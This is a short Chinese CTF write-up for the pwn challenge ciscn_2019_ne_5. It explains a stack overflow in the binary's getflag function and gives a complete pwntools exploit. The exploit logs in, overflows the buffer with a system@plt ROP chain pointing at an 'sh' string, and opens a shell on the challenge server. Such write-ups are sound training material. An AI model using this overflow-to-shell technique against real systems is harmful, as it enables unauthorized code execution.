ciscn_2019_ne_5
查看保护
密码已经给了我们,直接上去然后就看见了三个选项,没有4,ida之后才看见了。
看一下add和getflag这两个函数
add这里的a1就是main中的src。
getflag中将src给copy到dest中,dest离ebp有0x48大小。而src离ebp有0xfc个大小,可以通过add写入rop的payload,然后让getflag来执行这个rop。这题可以正常的ret2libc也可以ret2text,这题的shell是/sh,一开始年朝着/bin/sh去了,没看见想着用了一下ret2libc。最后ropgadget发现了有个sh。
from pwn import *
context(arch='i386', os='linux', log_level='debug')
file_name = './z1r0'
debug = 1
if debug:
r = remote('node4.buuoj.cn', 25608)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
r.recvuntil('Please input admin password:')
r.sendline('administrator')
def add(content):
r.sendlineafter(':', '1')
r.sendlineafter('Please input new log info:', content)
def getflag():
r.sendlineafter(':', '4')
system_plt = elf.plt['system']
sh = 0x080482ea
p1 = b'a' * (0x48 + 4) + p32(system_plt) + b'aaaa' + p32(sh)
add(p1)
getflag()
r.interactive()